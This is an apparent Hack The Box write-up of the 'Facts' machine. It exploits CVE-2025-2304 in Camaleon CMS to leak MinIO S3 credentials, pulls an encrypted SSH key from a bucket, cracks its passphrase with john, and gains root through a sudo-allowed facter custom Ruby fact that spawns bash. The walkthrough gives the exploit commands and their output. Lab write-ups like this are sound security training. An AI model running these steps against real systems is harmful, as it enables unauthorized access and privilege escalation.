Facts WriteUp
Table of Contents
Facts is a π© Easy difficulty machine on Hack The Box. It chains the exploitation of a web CMS with a credential leak into a MinIO S3-compatible storage server, from which we extract a password-protected SSH private key. Privilege escalation is achieved by abusing a binary allowed via sudo.
πΊοΈ Attack Chain
Nmap β Port 80 (CamaleonCMS 2.9.0) + Port 54321 (MinIO)
β
βΌ
CVE-2025-2304 β Privilege Escalation + S3 Config Leak
β
βΌ
MinIO Credentials β Bucket "internal"
β
βΌ
.ssh/id_ed25519 (encrypted private key)
β
βΌ
ssh2john + john β passphrase: dragonballz β user: trivia
β
βΌ
sudo /usr/bin/facter β custom fact (.rb) β /bin/bash as root π΄
π Reconnaissance
Port Scanning
We perform reconnaissance in two phases: fast discovery followed by version detection on the found ports.
Add facts.htb to /etc/hosts:
echo "10.129.21.92 facts.htb" | sudo tee -a /etc/hosts
Phase 1 - Fast TCP port discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv facts.htb
Phase 2 - Version detection and scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv facts.htb
Relevant ports found:
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 9.9p1 Ubuntu |
80 | HTTP | nginx 1.26.3 β redirects to facts.htb |
54321 | HTTP | Golang net/http β MinIO (S3 API) |
π‘ Note on TCP/54321: Nmap identifies the server as
MinIOvia theX-Amz-*response headers. We set it aside for now and start with port 80.
π Port 80 - CamaleonCMS
We land on a blog where the administrator posts fun facts. We fuzz for directories:
gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
admin (Status: 302) [--> http://facts.htb/admin/login]
robots (Status: 200)
search (Status: 200)
...
At /admin/login we can register an account. Once inside the panel, we see it runs Camaleon CMS v2.9.0.
β οΈ We tested SQLi and XSS in the search field and comments β neither is exploitable. The admin panel is the attack vector.
CVE-2025-2304 - Privilege Escalation + S3 Config Leak
A quick search leads us to CVE-2025-2304 , an authenticated privilege escalation vulnerability in Camaleon CMS 2.9.0 that also leaks the S3 storage credentials configured in the CMS.
We use the public PoC :
python exploit.py -u http://facts.htb -U username -P password -e
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIA0BFEDFE75637E79F
s3 secret key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
s3 endpoint: http://localhost:54321
[+]Reverting User Role
π― S3 credentials obtained. The endpoint points to the MinIO server we saw on port 54321, confirming the CMS uses MinIO as its storage backend.
πͺ£ Port 54321 - MinIO (S3 API)
What is MinIO?
π§ Concept: S3 (Simple Storage Service) is an object storage system with an API the industry has adopted as a de facto standard (AWS, GCP, Azure). A bucket is the root container where objects are stored β the structure is flat, there are no real subdirectories, and the path is part of the object’s key (name). MinIO is an open-source, self-hostable implementation fully compatible with the S3 API.
We configure a profile in the aws CLI using the obtained credentials:
aws configure --profile facts
# AWS Access Key ID: AKIA0BFEDFE75637E79F
# AWS Secret Access Key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
# Default region name: us-east-1
# Default output format: json
Bucket Enumeration
aws --endpoint-url http://facts.htb:54321 s3 ls --profile facts
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts
The randomfacts bucket only contains blog images. We focus on internal:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts --recursive | grep -v ".bundle"
2026-01-08 19:45:13 220 .bash_logout
2026-01-08 19:45:13 3900 .bashrc
2026-01-08 20:01:43 0 .cache/motd.legal-displayed
2026-01-08 19:47:17 20 .lesshst
2026-01-08 19:47:17 807 .profile
2026-04-05 09:40:42 82 .ssh/authorized_keys
2026-04-05 09:40:42 464 .ssh/id_ed25519
β οΈ The
internalbucket looks like a user’s home directory β it contains.bashrc,.profile, and most importantly: an SSH private key.
Downloading the Private Key
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_facts --profile facts
π SSH Private Key - User Identification and Cracking
The key is passphrase-protected. Before cracking it, we verify that the private key matches the public key in authorized_keys by comparing their fingerprints:
# Private key fingerprint (will fail on passphrase but shows fingerprint)
ssh user@facts.htb -i id_facts -v 2>&1 | grep "SHA256"
# debug1: Will attempt key: id_facts ED25519 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY explicit
# Public key fingerprint from authorized_keys
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys ./authorized_keys --profile facts
ssh-keygen -l -f authorized_keys
# 256 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY no comment (ED25519)
β Fingerprints match β the private key works for the user who owns that
authorized_keys.
Cracking the Passphrase
We convert the key from ssh format to a john-compatible hash:
ssh2john id_facts > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
dragonballz (id_facts)
1g 0:00:01:41 DONE
User Identification
With the passphrase we can extract the public key, which includes the comment with the username:
chmod 600 id_facts
ssh-keygen -y -f id_facts # dragonballz
# ssh-ed25519 AAAAC3...ohxpLN trivia@facts.htb
π― User identified:
trivia
π Initial Access
ssh trivia@facts.htb -i id_facts # dragonballz
π© User Flag
cat /home/william/user.txt
π§ Privilege Escalation
First thing after getting in, we check sudo permissions:
sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter is a system data collection tool written in Ruby, typically used by Puppet. It accepts a custom facts directory via the --custom-dir flag β .rb files that define how to compute a new fact.
We abuse this by providing a custom fact that instead launches /bin/bash:
mkdir /tmp/exploit
echo "Facter.add(:shell) do setcode do system('/bin/bash') end end" > /tmp/exploit/shell.rb
sudo /usr/bin/facter --custom-dir=/tmp/exploit
root@facts:/tmp/exploit#
β Root shell obtained by abusing a
factercustom fact.
π΄ Root Flag
cat /root/root.txt
π Attack Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap, gobuster | CamaleonCMS 2.9.0 + MinIO on :54321 |
| 2 | CVE-2025-2304 | exploit.py | MinIO S3 credentials |
| 3 | S3 enumeration | aws CLI | SSH private key in bucket internal |
| 4 | Passphrase cracking | ssh2john, john | passphrase: dragonballz β user: trivia |
| 5 | Initial access | ssh | Shell as trivia |
| 6 | Sudo abuse (facter) | Custom fact .rb | Shell as root π΄ |
See you in the next challenge.
